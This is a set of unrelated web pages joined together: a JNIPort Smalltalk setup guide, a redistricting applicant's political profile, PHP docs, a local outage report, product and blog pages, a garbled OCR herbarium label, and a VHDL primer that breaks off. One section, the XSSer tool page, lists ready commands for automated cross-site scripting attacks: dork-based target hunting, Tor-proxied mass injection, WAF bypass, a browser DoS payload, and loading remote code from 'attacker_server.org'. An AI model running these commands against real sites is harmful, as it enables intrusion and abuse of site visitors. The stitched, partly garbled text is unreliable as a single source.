|
JNIPort for Dolphin Smalltalk |
|
|
Back to Goodies |
A Walkthrough with JNIPortThis section is a walkthrough of installing JNIPort and setting up couple of simple configurations. For more information on configuration settings see the Configuration section. Install the Java RuntimeI assume that if you didn't know how to install and use the Java runtime then you wouldn't be interested in JNIPort. So this sub-section is very short. <grin> Install JNIPortUnpack the JNIPort packages, resources, etc. Put them wherever you want (there's no need to put them in a folder that's relative to your Dolphin image, though you can if you want to). We'll use the JNI Helper library so you should get the DolphinJNIHelper.dll file from the Extras\ folder and put it somewhere where Dolphin will be able to find it. You could put it in Dolphin installation folder, or somewhere on your %Path%, for instance. I recommend rebuilding the DLL from source (if you can, but you'll need MS VC++) or at least making sure that it's been properly virus-scanned. Load the JNIPort packages into Dolphin. There are lots of packages; the easiest way to install them is to install the 'CU JNIPort' package which is a empty package with all of JNIPort as its prerequisite packages. You can uninstall the loader package as soon as you've used it. You should now have scads of new packages and code to sniff around in. You may also want to install the Java support files. This isn't necessary unless you want to use Java callbacks, or to run the regression tests. The Extras\ folder contains two .JAR files, JNIPort.jar and JNIPort-Tests.jar; put these somewhere where the runtime will be able to find them. How you do this depends on how you like to use Java — I prefer to unpack all JAR files into a single directory tree that is on my %CLASSPATH%, other people seem happy to configure long lists of JAR files. If you don't have a predefined strategy then just leave them where they are and we'll get back to them later. You may want to unpack the .ZIP files and have a look at the source (it's pretty dull). Configure JNIPortYou should now have a 'JVM Status' icon in your 'Additional tools' folder and in the additional tools menu. Click on it. That should start the JVM Status Monitor, which will be a bit blank since there are no JVMs running. Before you can start one we have to configure it. The configuration is saved in a list of settings objects; you can have as many of these as you want. Each Java runtime is initialised from one of the settings objects. In the JVM Status tool, select 'JVM⇒Predefined settings⇒Edit...' which will start a Published Aspect Inspector on the predefined settings (I intend to include a dedicated editor in a later version of JNIPort). There should be subsettings called 'template' (which you can ignore for now) and 'predefined'. The 'predefined' subsetting is an OrderedCollection of settings objects. Select it, and click on the 'New item' icon; that will create a new settings object (actually a copy of the template), open it up and edit its 'name' to something like 'Default JVM'. It should have six further subsettings. Select 'jniPortSettings' which is where JNIPort itself is configured. The 'jniLibraryClass' should already be set to 'JNILibraryForSunJRE' which is fine if you are using either Sun's JRE or the Sun J2SDK. The next three settings should all be left nil. The 'jvmClass' setting should be 'JVMWithoutCallbacks' (this example won't use callbacks). You should probably turn on 'useAbortHook', 'useJNIHelperLinbrary', and 'useVFPrintfHook' which tell JNIPort to monitor the Java runtime. The settings should now look something like this:
Now go back up a level and edit the 'runtimeSettings'; these are settings that are passed to the Java runtime, in much the same way as parameters to the 'java' program are passed to the runtime. The 'classpath' is the equivalent of the %CLASSPATH% environment variable. If you already have a %CLASSPATH% set, then its value should have been imported automatically. You may also need to tell the runtime where to find the .JAR files that come with JNIPort, if so then add their locations to the ;-separated list. You may also want to add some runtime options, for this example add '-verbose:jni' to the 'options' sub-setting, which is an OrderedCollection of Strings. The options can be anything that could be passed as options to the 'java' program (except options like '-server' that control which Java DLL to use — the JNIPort equivalent is to set 'jniLibraryJVMType' in 'jniPortSettings'). The settings should now look roughly like this:
Close the editor, and you are now ready to start the Java runtime. Starting the Java RuntimeThe Status Monitor's 'JVM⇒Start JVM' menu should now have a '⇒Default JVM' subitem (it has an entry for each pre-defined JVM settings object). Select that and, if everything's set up correctly, a Java runtime configured from your settings will start. Take a look at the various pages of the status monitor. The status is updated at intervals, but by default no interval is set, so select 'View⇒Update interval⇒1 second'. Also use 'View⇒Visible pages⇒JVM Debug' to add the page that shows the JVM's debugging output. For more information see JVM Status Monitor. Now to try out something simple. Open a new workspace and type:
which should call the Java method
The way we have configured the system doesn't support ghost classes, so many of the more convenient features of JNIPort are still missing. However you may like to look at the examples of using the basic level of JNIPort. The next section shows how to configure ghost classes. You might want to install the 'CU Java Base Tests' package; it uses the SUnit framework (though the test are not, and are not intended to be, unit tests). If you are using a recent Sun JVM then all the tests should pass (though three of them will be skipped and write a message to the Transcripts because they require the ability to generate Java classfiles on the fly, which is not part of JNIPort). If you are not using a recent Sun JVM, then see these notes. Configuring Ghost Classes and CallbacksGo back to the Status Monitor and use the 'JVM⇒Predefined settings⇒Edit...' menu again. The first thing to note is that you cannot change the settings of a running JVM; in fact when JNIPort starts a new runtime, it makes a copy of the settings to prevent accidents. That means that you could just change the existing 'Default JVM' settings object if you wanted to; however it's probably better to create a new settings object and give it a different name, say 'Enhanced JVM'. Set it up as before (you could use Dolphin's Copy and Paste operations), then make two changes: set 'jniPortSettings/jvmClass' to JVMWithCallbacks, and add a single item, JVMGhostClassMaker, to the 'jniPortSettings/watcherClasses' list (you also have the option of adding a JVMLazyGhostClassMaker, of which more below). The settings should now look roughly like this:
At this point you ought to be able to start a new runtime using the new settings, however (courtesy of Sun's failure to implement their own APIs) it's not currently possible to run more than one JVM from the same process at the same time. It's also not even possible to run more than one successively (an even greater failure on Sun's part), so the only way to run a new JVM is to restart Dolphin. So save the image and quit Dolphin. When you restart (if you didn't close down the JVM or the status monitor — and there's no reason why you should have done) you will see that the running JVM is now dead. If you kept any references to Java objects from the previous session then they will be dead too, and will throw errors if you try to use them. You can now start the new 'Enhanced JVM' in the same way as before. There will be a pause of anything from a few seconds to a minute when you do so (depending on the speed of your machine). You may see a similar pauses when you first reference other Java classes (it depends on how many new classes JNIPort has to import and create ghosts for). I agree that the pause is excessive and that is what JVMLazyGhostClassMaker is about; if you add that class to the watcher list instead of a JVMGhostClassMaker then you'll get an alternative implementation of the ghost class stuff which uses lazy initialization to create actual ghosts only when they are really used. That facility is still experimental, though. You may as well set the update interval again (the update interval is associated with the JVM rather than being a property of the Status Monitor). Then go try out the ZIP file example or the Swing example. Alternatively you could load the 'CU Java Wrapper Generation Tests' and 'CU Java Callback Tests' and see if they work. |
Copyright © Chris Uppal, 2003-2005
Java, JNI (probably), JVM (possibly), and God knows what else, are trademarks of Sun Microsystems, Inc.


Christopher David Applegate
Democrat
Senior Land Geospatial & Analytics Specialist, Ovintiv
Bachelor of Arts in Geography
80204
I have participated in the electoral process going back to fall 2008 when I was in college. I made my first set of memorable political action by phone banking for then candidate Barack Obama’s campaign while living in Oklahoma. I have been engaged in a variety of Democratic leaning activities since then by volunteering on campaigns, donating money and volunteering with causes. Candidates donated too: Amy McGrath Andrew Romanoff Barbara Bollier Cal Cunningham Diane Mitsch Bush Doug Jones Elizabeth Warren Gary Peters Jamie Harrison Joe Biden John Hickenlooper Kendra Horn Lisa Calderón Mark Kelly Mike Espy MJ Hegar Raphael Warnock Sara Gideon Spencer Hicks Steve Bullock David Baake Rob Quist Bernie Sanders Katelyn Gleason-Dockery Ban Assault Weapons Now Giffords PAC Sierra Club Democratic National Committee National Popular Vote
Sierra Club Colorado Democratic Party
In my volunteer capacity with Sierra Club’s Our Wild America and the Colorado Sierra Club’s outdoor programs the first and foremost thing we have focused on is how we build community by using the Jemez Principles to organize. That includes the 100 plus volunteers through our Outdoor Leadership Workshop that I helped train with a lens of equity to how we build a more inclusive outdoor recreation space, especially within a predominantly white organization. We also used our work to protect public lands as an opportunity to bring voices that our typical audience did not hear from to speak about the perspectives of their identities and what actions folks can do to advance a more inclusive and just public lands movement.
I have long wanted to bridge political divides and one lesser known way to do that is through creating legislative maps that represents communities and removes partisanship from the process. Being a part of the redistricting commission is an exciting opportunity to build a consensus map that is as just as it can be and serves the people of Colorado for the next decade. It is not about creating an advantage for one political group or another. I’ve had a deep desire to serve in this capacity to help heal our nation and this is one tool available to us to do just that.
Gerrymandering has been around for a long time, well before 2012 when the discussions around it were elevated. Voters have approved here in Colorado and across the country these bipartisan redistricting commissions that help remove political agendas around them. It’s critical that not only myself, but others represent the people of Colorado in creating fair maps that truly represent the richness of thoughts and identities from all four corners. I have no intention of serving on the commission to advantage one party or another. My way of building consensus is first listening to the voices of the public, then listening to my colleagues on the commission and the expert staff. It is critical then to work together with what is best for Colorado.
Not only have I been engaged in politics for over 10 years I have now had a professional career in geospatial analytics for just as long. My day job as a Senior Land Geospatial and Analytics Specialist is centered on building business solutions centered on maximizing value in spatial relationships of data. I work daily with spatial data and believe this skill set will be a welcomed attribute to a commissioner in the process that will include the need to consume spatial data, ask questions, support all commissioners in diving deeper into the data, since it can be made to show what you want. It is critical to understand the data and help to solve the problem of gerrymander and to ensure the data either from the state or even maps submitted by organizations reflect the desire of the public to be non-partisan and promote equitable and just maps that don’t favor one party or the other.
Male


Query\ConnectionManager
Connection manager class to manage connections for the Query method
Synopsis
- // methods
- public void __clone()
- public void __sleep()
- public void __wakeup()
- public static ConnectionManager getInstance()
- public QueryBuilderInterface getConnection()
- public QueryBuilderInterface connect()
- public array parseParams()
Coverage
| Methods | 0% | 0 / 7 |
| Lines | 0% | / |
Methods
public
- __clone() — Private clone method to prevent cloning
- __sleep() — Prevent serialization of this object
- __wakeup() — Make sure serialize/deserialize doesn't work
- connect() — Parse the passed parameters and return a connection
- getConnection() — Returns the connection specified by the name given
- getInstance() — Return a connection manager instance
- parseParams() — Parses params into a dsn and option array
History
-
2018-01-24T18:14:03+00:00 (commit #1d583bc)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>Add more type hinting
-
2018-01-23T18:49:51+00:00 (commit #516ddcd)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>Update builds to remove PHP 7 support
-
2018-01-23T16:29:43+00:00 (commit #908b9f3)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>Remove some dead code from the connection manager
-
2018-01-22T21:04:29+00:00 (commit #8401cce)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>Remove PDOInterface to prevent conflicts in method parameters with native PDO object
-
2018-01-19T20:47:34+00:00 (commit #369ca6e)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>Flatten source structure a bit
-
2018-01-19T18:43:19+00:00 (commit #c735c27)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>Update file headers
-
2016-10-14T01:55:23+00:00 (commit #b8d4768)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>camelCase methods and properties
-
2016-10-13T02:12:25+00:00 (commit #6740aae)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>PHP7 or bust!
-
2016-10-13T00:32:23+00:00 (commit #3eb4d88)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>Add Or Not Like method
-
2016-09-07T18:22:52+00:00 (commit #2db7ad1)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>More style fixes
-
2016-09-07T17:17:17+00:00 (commit #24f3b1d)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>Update header comments
-
2016-09-07T17:10:03+00:00 (commit #bb38213)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>Code Style fixes
-
2015-11-11T20:44:24+00:00 (commit #c0674d5)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>Remove the last of the one line if statements
-
2015-11-11T14:25:21+00:00 (commit #e62f577)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>Fix a bunch of one line if statements
-
2015-11-11T01:59:03+00:00 (commit #2613a1c)
Author: Timothy J Warren<EMAIL_ADDRESS>/ Commiter: Timothy J Warren<EMAIL_ADDRESS>Update lots of comments
-
2015-11-10T22:30:18+00:00 (commit #8d65af5)
Author: Scrutinizer Auto-Fixer<EMAIL_ADDRESS>/ Commiter: Scrutinizer Auto-Fixer<EMAIL_ADDRESS>Scrutinizer Auto-Fixes This commit consists of patches automatically generated for this project on https://scrutinizer-ci.com


Power restored on Westside
by Sarita PatelUPDATE 4:54 p.m.
BCHydro says the power has been restored in West Kelowna.
The outage occurred at 4:07 p.m. due to a motor vehicle accident and was back on at 4:42 p.m.
2,507 residents were affected by the outage that lasted 35 minutes in total.
Traffic is still backed up from the signals being out.
UPDATE 4:40 p.m.
Castanet's Nich Johansen states that the lights are completely out on Hudson Road and Highway 97 which is causing extreme traffic backups.
There are backups are in both directions to the bridge southbound.
ORIGINAL 4:19 p.m.
Parts of West Kelowna are currently without power.
There is a power outage in the Boucherie area, near Quailsgate winery, which was reported shortly after 4 p.m.
The area affected is north of Mission Hill Road, west of Casa Loma Road, south of Rose Meadow Drive and east of Tallus Ridge Drive. The cause of the outage is under investigation.
The electrical utility is not currently reporting when it expects power to come back on.
Crews have been dispatched to the area.
Castanet will have more details as they become available.


Valuation of Plant and Machinery
Machines and Equipments (M&E) comprise a major portion of the Tangible Assets of any Manufacturing Company. But unlike Real Properties M&E Assets are moveable assets and hence it is always necessary to understand the premises of value, which are broadly classified into three categories viz;
• Sale for Removal for similar or alternate use
• Continuous or installed use of the asset for the purpose for which it was designed and acquired
• Liquidation
The understanding of these different premises considerably impacts the valuation of M&E Assets as the Fair Market Value of an M&E. Asset for Removal will be different than its FMV in Continued use (As Installed) or in Liquidation.
Starlight Valuers can undertake a large number of valuation assignments to estimate the market value of fixed assets of various private and public sector companies for different purposes by adopting suitable valuation approach and techniques. A sample of few of the varied industries Starlight Valuers’ mentors has experience in valuation are as follows;
• Textile Mills
• Wood Saw Mill Plants
• Salt Plants
• Automobile Industry
• Wind Mill Sites, Plants & Wing Mills
• Ship / Boat Building Industries
• Refineries
• Cement Plant
• Edible Oil Plants
• Chemical Plants
• Pharmaceutical Plants
• Detergent Manufacturing Plant
• Packing Units
• Steel Rolling Mills
• Plastic Moulding plants
• Capital Goods Equipment manufacturers like Boilers, Transformers, Compressors, etc.
• Consumer durable goods manufacturers like Typing, Fax machines etc.
• Garments Manufacturer
• Woolen Fabric Manufacturing plants
• Food Products Manufacturers Dry and Wet


Tabs
Resize browser to see responsiveness
Home
This is Menu item 1
This is Menu item 2
This is Menu item 3
This is Menu item 4
This is Menu item 5
This is Menu item 6
This is Menu item 7
This is Menu item 8
This is Menu item 9
This is Menu item 10
HOME
Some content.
Menu 1
Some content in menu 1.
Menu 2
Some content in menu 2.
Menu 3
Some content in menu 2.
Menu 4
Some content in menu 2.
Menu 5
Some content in menu 2.
Menu 6
Some content in menu 2.
Menu 7
Some content in menu 2.
Menu 8
Some content in menu 2.
Menu 9
Some content in menu 2.
Menu 10
Some content in menu 2.


?6
7
8
9
10
T
M
v
The
New
York
copyright
reserved
botanical
Garden
Angelonia
pilosella
J.
Kickx,
Bull.
Acad.
Roy.
Sci.
Brux.
6(1):
509.
1839.
K.
Barringer
1981
PLANTS
OF
CUBA
..........K
y:..
*/?
.......Jëx^.®aaj*
yrr*.-
COLLECTED
BY
.........-J£(JL.2.2A
9
ÀL&.
NEW
YORK
BOTANICAL
GARDEN
0
334054
01334054
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


A focus on making life easier and more enjoyable has given rise to BeoLiving Intelligence, the first Plug & Play smart home controller for Bang & Olufsen products. BeoLiving Intelligence, successor of BeoLink Gateway, is the new creation resulting from the Bang & Olufsen and Khimo partnership which dates back to 2006. BeoLiving Intelligence expands the way Bang & Olufsen products can work together, as well as allowing them to interact with many other brands of consumer electronic devices.
Together with the beautifully sculpted, simple and intuitive, companion BeoLiving App, all the magic that BeoLiving Intelligence allows is directly accessible and configurable at the palm of your hand. Use the BeoLiving App in your phone or tablet to easily control your Bang & Olufsen products alongside with the most popular Home Automation brands.
The main features of the BeoLiving Intelligence are:
- Control Bang & Olufsen (NetworkLink type) products with your iOS device of choice.
- Voice control through Alexa.
- IFTTT support.
- Creation of routines to automates the control of several products at once.
BeoLiving Intelligence is upgradable to BeoLiving Intelligence PRO, a full professional smart home solution through a one-time paid license fee. BeoLiving Intelligence PRO transforms into the custom installer dream controller. With its Real-Time Configuration platform, it provides the simplest yet most powefull way to integrate, control and automate an entire home. Even if you don’t own any Bang & Olufsen products, your unique home automation and audio/video ecosystem will be accessible as one entity through the expertly crafted BeoLiving App.
The main additions of the BeoLiving Intelligence PRO upgrade are:
- Integration with most popular Home Automation brands.
- Web interface advanced configuration, with more customization such as area/zone creations, scenes and more.
- Control your products through its web interface.
- Control your products through Bang & Olufsen TVs.
- Customization of the BeoLiving App.
Start now!
Out of the box, BeoLiving Intelligence does not need an installer, a few simple non technical steps and it is ready to shine.
Follow the Quick setup to get your BeoLiving Intelligence up and running. Go to the User guide for better understanding of all the posibilities of BeoLiving Intelligence. The Link to third parties guide lists all the steps to enable some of the third party services like Alexa and IFTTT.
PRO
To unleash the full capabilities of BeoLiving Intelligence, upgrade to its PRO version. Go to the PRO User guide to learn all of its funtionalities and features and refer to the System drivers guide if you want information about a specific supported driver.
Troubleshooting
Do you have a question? You can find answers to the most common questions in our Frequently Asked Question document. If you are experiencing troubles or malfunction, please refer to our Troubleshooting Guide.


https://xsser.03c8.net/
https://github.com/epsylon/xsser
News:
XSSer (v1.7.1 "Zika") has been added to Kali Linux (2016).
Introduction:
Cross Site "Scripter" (aka XSSer) is an automatic -framework- to detect, exploit and report XSS vulnerabilities in web-based applications.
Current version:
XSSer v1.7 -> ZiKA-47 Swarm!
XSSer ZiKA-47 Swarm
Download (.tar.gz): XSSer v1.7-1.tar.gz
wget http://xsser.03c8.net/xsser/xsser_1.7-1.tar.gz
tar xf xsser_1.7-1.tar.gz
cd xsser_1.7-1
cd xsser-public
python setup.py install
./xsser -h
./xsser --gtk (for gui)
Download (.zip): XSSer v1.7-1.zip
Torrent (.tar.gz): XSSer v1.7-1.tar.gz.torrent
Torrent (.zip): XSSer v1.7-1.zip.torrent
(checksums)
git clone https://github.com/epsylon/xsser
Packages:
XSSer v1.7: "ZiKA-47 Swarm!" (more updated):
Ubuntu/Debian (64-bits) package: xsser_1.7-1_amd64.deb -> 94f2f4b75166527939fba2e78dc56f36
wget http://xsser.03c8.net/xsser/xsser_1.7-1_amd64.deb
sudo dpkg -i xsser_1.7-1_amd64.deb
xsser -h
xsser --gtk (for gui)
---------------------
XSSer v1.6: "Grey Swarm!":
Download (.tar.gz): XSSer v1.6-1.tar.gz -> f61d42a8b986c66963244bf7c02119f2
RPM package: XSSer-1.6-1.noarch.rpm
Ubuntu/Debian package: XSSer-1.6_all.deb
---------------------
XSSer v1.5: "Swarm Edition!":
Ubuntu/Debian: xsser_1.5-1_all.deb.tar.gz
---------------------
XSSer v1.0: "The mosquito":
Ubuntu/Debian: xsser_1.0-2_all.deb.tar.gz
Captures:
- Manifesto:
XSSer ZiKA-47 Swarm
+Zoom
---------------------
- Configuration (works with Tor):
XSSer ZiKA-47 Swarm
+Zoom
---------------------
- Global Map:
XSSer ZiKA-47 Swarm
+Zoom
---------------------
- Spidering:
XSSer ZiKA-47 Swarm
+Zoom
Documentation:
2012 at RootedCon | Slides: "XSSer - The Cross Site Scripting framework": Spanish | Video: Spanish
2011 at THSF'11 | Slides: "XSSer - The Mosquito": English
2009 at Cyberspace | Paper: "XSS for fun and profit": English | Spanish
Installation:
XSSer runs on many platforms. It requires Python and the following libraries:
python-pycurl - Python bindings to libcurl
python-xmlbuilder - create xml/(x)html files - Python 2.x
python-beautifulsoup - error-tolerant HTML parser for Python
python-geoip - Python bindings for the GeoIP IP-to-country resolver library
On Debian-based systems (ex: Ubuntu), run:
sudo apt-get install python-pycurl python-xmlbuilder python-beautifulsoup python-geoip
Examples:
* View HELP (Available commands):
xsser -h (--help)
* Check for latest stable version:
xsser --update
* Launch GTK interface (GUI):
xsser --gtk
* Simple injection from URL:
xsser -u "http://host.com"
* Simple injection from File, with Tor proxy and spoofing HTTP Referer headers:
xsser -i "file.txt" --proxy "http://<IP_ADDRESS>:8118" --referer "666.666.666.666"
* Multiple injections from URL, with automatic payloading, establishing a reverse connection (to certify that target is 100% vulnerable) and showing statistics:
xsser -u "http://host.com" --auto --reverse-check -s
* Multiple injections from URL, with automatic payloading, using Tor proxy, using "Hexadecimal" encoding, with verbose output and saving results to file (XSSreport.raw):
xsser -u "http://host.com" --auto --proxy "http://<IP_ADDRESS>:8118" --Hex --verbose --save
* Multiple injections from URL, with automatic payloading, using character encoding mutations (first, changing payload to 'Hexadecimal'; second, changing to 'StringFromCharCode' the first one; third, reencoding to 'Hexadecimal' the second one), with HTTP User-Agent spoofed, changing timeout to "20" and using multithreads (5 threads):
xsser -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer Pentesting Tool" --timeout "20" --threads "5"
* Advanced injection from File, payloading your -own- code and using Unescape() character encoding to bypass filters:
xsser -i "urls.txt" --payload "!enter your injection code here!" --Une
* Injection from Dork, selecting "google" as search engine:
xsser --De "google" -d "search.php?q="
* Injection from a list of Dorks extracted from a file (provided by XSSer) and using all search engines supported (XSSer Storm!):
xsser -l --Da
* Injection from Crawler with deep 3 and 4 pages to review (XSSer Spider!):
xsser -c3 --Cw=4 -u "http://host.com"
* Simple injection from URL, to a POST parameter (ex: password), with statistics results:
xsser -u "http://host.com/index.php" -p "target=login&user=admin&password=XSS" -s
* Multiple injections to multiple parameters, using POST:
xsser -u "http://host.com/index.php" -p "target=XSS&user=XSS&password=XSS" --auto
* Simple injection from URL, using GET, injecting on Cookie, trying to use DOM shadow space (no server logging!) and if exists any vulnerability, exploiting your -own- final code:
xsser -u "http://host.com" -g "/path?vuln=XSS" --Coo --Dom --Fp="!enter your injection code here!"
* Simple injection from URL, using GET and if exists any vulnerability, exploiting a DoS (Denegation Of Service) code for browsers:
xsser -u "http://host.com" -g "/path?vuln=XSS" --Dos
* Multiple injections to multiple places, extracting targets from a File, applying automatic payloading, changing timeout to "20" and using multithreads (5 threads), increasing delay between requests to 10 seconds, injecting parameters in HTTP USer-Agent, HTTP Referer and Cookies, using proxy Tor, with IP Octal obfuscation, with statistics results and using verbose mode (real playing mode!):
xsser -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://<IP_ADDRESS>:8118" --Doo -s --verbose
* Injection of a XSS code provided by user on a -fake- image:
xsser --Imx "test.png" --payload "!enter your injection code here!"
* Report output 'positives' injections from a dorking search (using all search engines) to a XML file:
xsser -d "login.php" --Da --xml "security_report_XSSer_Dork_login-php_allengines.xml"
* Create a Flash movie with a standard XSS code embedded:
xsser --fla "movie.swf"
* Send a pre-checking hash to see if target is generating -false positive- replies:
xsser -u "http://host.com" --hash
* Discover parameters filtered by using heuristics:
xsser -u "http://host.com" --heuristic
* Exploiting Base64 code encoding in META tag (rfc2397) after inject a manual payload:
xsser -u "http://host.com" -g "/path?vuln=XSS" --payload "!enter your injection code here!" --B64
* Exploiting your "own" -remote code- in a payload discovered using automatic fuzzing:
xsser -u "http://host.com" -g "/path?vuln=XSS" --auto --Fr "https://attacker_server.org/path/code.js"
* Apply an Anti-antiXSS bypasser (ex: Imperva) before to inject you -own- code and using verbose output:
xsser -u "http://host.com" -g "/path?vuln=XSS" --Imperva --payload "!enter your injection code here!" -v
License:
XSSer is released under the terms of the General Public License v3 and is copyrighted by psy.
Support:
XSSer has been one of the winner projects of the NLnet Awards of April (2010).
XSSer has been added to BackTrack Linux (2010).
XSSer has been added to OWASP project (2012).
XSSer has been added to Cyborg Linux (2015).
XSSer has been added to Kali Linux (2016).
XSSer has been added to BlackArch (2016).
This framework is actively looking for new sponsors and funding.
If you or your organization has an interest in keeping XSSer, please contact directly.
To donate some bitcoins: 19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw


Unplugged Retreat Responsive Website
HTML & CSS
Three page responsive website coded up from a Photoshop comp
Three page responsive website coded up from a Photoshop comp
One page responsive restaurant website coded up from a Photoshop comp
Portfolio website for a fictional designer coded from a Photoshop comp


------------------------------------------------------------------------------------------------------------------
This version is the first version of NewType in it's first development.
This is a "not that working version/not all stuff included" stage which is "beta". Soon there will be a 0.0.1-alpha which is a functioning, "fully ready to use website without any bugs" version stage and basic stuff are there and working but the details and more features aren't done. Since this version is 0.0.1-beta, we just started and the website is still being built.
-----------------------------------------
Area's you can go.


--- layout: post title: ! 'Decor: Random picks from Mother Earth' tags: - Decor status: publish type: post published: true meta: _yoast_wpseo_linkdex: '78' _edit_last: '2' _yoast_wpseo_focuskw: ! 'Decor: Random picks from Mother Earth' _yoast_wpseo_title: ! 'Decor: Random picks from Mother Earth' _yoast_wpseo_metadesc: ! 'Decor: Random picks from Mother Earth. Mother Earth Decor.' _yoast_wpseo_meta-robots-noindex: '0' _yoast_wpseo_meta-robots-nofollow: '0' _yoast_wpseo_meta-robots-adv: none _yoast_wpseo_sitemap-include: ! '-' _yoast_wpseo_sitemap-prio: ! '-' _yoast_wpseo_canonical: '' _yoast_wpseo_redirect: '' _thumbnail_id: '6051' _yoast_wpseo_metakeywords: '' ---
Mother Earth Ceramic Planters, I plan to keep them near the Hand wash.
Price: Rs.100 each
Stone Zali Work, I plan to keep some perfume to freshen up the corner of my room
Price: Rs.175
Ceramic Cup and Tea Pot, I plan to keep it on my kitchen slab. I am not sure if I am going to use it ever.
Price: Rs. 150
Ceramic plate, I might use this for Potpuri and a fragrant candle
Price: Rs.175
So how is your weekend coming ? Do let us know what you liked...:)


Sugar cards can be changed to rice cards
by Special CorrespondentNow, family cardholders can convert their sugar option cards to rice cards by which they can get rice and other items provided under the Public Distribution System.The State government has decided to provide this option based on a long-term demand from cardholders. In a statement, Food Minister R. Kamaraj said there were a total of 10,19,491 family cards in the State and there were many requests from consumers to convert sugar option cards to rice cards. Chief Minister Edappadi K. Palaniswami made the decision based on the numerous requests from consumers, the Minister said. Such consumers can apply online by attaching a copy of their family cards through www.tnpds.gov.in and also at the respective assistant commissioner’s offices till November 26, said an official release here.


--- layout: post status: publish published: true title: Spiders! author: Arthur Rosa author_login: arthurlockman author_email<EMAIL_ADDRESS>author_url: https://b.rthr.me wordpress_id: 193 wordpress_url: http://b.rthr.me/?p=193 date: '2010-07-26 19:06:45 -0400' date_gmt: '2010-07-26 19:06:45 -0400' ---
Found this little guy in the yard today. Hopefully he does his job and earns his keep by eating all the mosquitoes so they don't eat me.
All for Now!


Resizimg plugin
Basic usage
Images can be resized by dragging their bottom-right corner.
Read resizimg plugin documentationResize that image!
The code
nothing to do unless you want to change the default values of options, in which case you could:
$('#editor').trumbowyg({
plugins: {
resizimg : {
minSize: 64,
step: 16,
}
}
});
Setup
In head tag
At the end of body
Note the additional requirement: the jquery-resizable plugin must be loaded for Resizimg to work.
<!-- Import jQuery -->
<script src="//ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>window.jQuery || document.write('<script src="js/vendor/jquery-3.2.1.min.js"><\/script>')</script>
<!-- Import dependency for Resizimg (note that the link below will only work for a limited number of requests, for a productive setup make a local copy from https://github.com/RickStrahl/jquery-resizable -->
<script src="https://rawgit.com/RickStrahl/jquery-resizable/master/dist/jquery-resizable.min.js"></script>


| {{$index + 1}} |
{{entity.schoolName}} |
{{entity.totalOrderCount}} |
{{entity.totalOrderPaymentAmount}} |
{{entity.primarySchoolFrom1To3OrderCount}} |
{{entity.primarySchoolFrom1To3OrderPaymentAmount}} |
{{entity.primarySchoolFrom4To6OrderCount}} |
{{entity.primarySchoolFrom4To6OrderPaymentAmount}} |
{{entity.middleSchoolOneOrderCount}} |
{{entity.middleSchoolOneOrderPaymentAmount}} |
{{entity.middleSchoolTwoOrderCount}} |
{{entity.middleSchoolTwoOrderPaymentAmount}} |
{{entity.middleSchoolThreeOrderCount}} |
{{entity.middleSchoolThreeOrderPaymentAmount}} |
{{entity.highSchoolOneOrderCount}} |
{{entity.highSchoolOneOrderPaymentAmount}} |
{{entity.highSchoolTwoOrderCount}} |
{{entity.highSchoolTwoOrderPaymentAmount}} |
{{entity.highSchoolThreeOrderCount}} |
{{entity.highSchoolThreeOrderPaymentAmount}} |
{{entity.smallSchoolOrderCount}} |
{{entity.smallSchoolOrderPrice}} |
{{entity.middleSchoolOrderCount}} |
{{entity.middleSchoolOrderPrice}} |
{{entity.highSchoolOrderCount}} |
{{entity.highchoolOrderPrice}} |


Hi.
So you’re now taking the Digital Logic class1.
If you’re less familiar with computer science and engineering, you might think to yourself,
“great, I’ll be doing some beep boop bop
🤖 binary things this term”.
You’d be right.
In class, you’ll learn boolean logic theory.
In labs, you’ll see how that theory can be used to make something more concrete with VHDL.
This primer assumes you’re familiar with boolean algebra using basic AND, OR, and NOT gates.
VHDL is a programming language to describe circuits. It literally stands for: VHSIC (yes another acronym–don’t sweat it) Hardware Description Language. VHDL targets digital circuits in contrast to analog circuits. Digital circuits consider discrete logical properties like 1’s and 0’s, Yes’s and No’s. Analog circuits consider continuous electrical properties like voltage, impedance, capacitance, et al. This is a generalization but will hold true as far as an introductory course is concerned.
 It is not less than or equal to
like in some other languages.
Although the syntax is a bit clunky, you can see how we’re just defining an inverter; a NOT
gate.
First, we declare the inputs and outputs of our circuit block.
Then, we describe how the input is transformed into the output.
We’re describing the following equation:
Amaaahzing right? Later on we’ll go into more details on the syntax.
Why would we want to model digital circuits? It’s easier to understand, modify, simulate, and test our designs by modeling our circuits in VHDL. VHDL (or any HDL) provides a common language that can be used at each of these stages, leading up to the final logic synthesis and layout steps, required to continue towards physical manufacture the design. During the digital logic design phase, VHDL allows us to treat circuit components as black boxes so we can build up more complex and powerful circuit designs.
Many of you will have been exposed to a programming language at this point. VHDL and other HDLs can be thought of as a programming language for digital circuits:
| HDLs | Traditional Programming Languages |
|---|---|
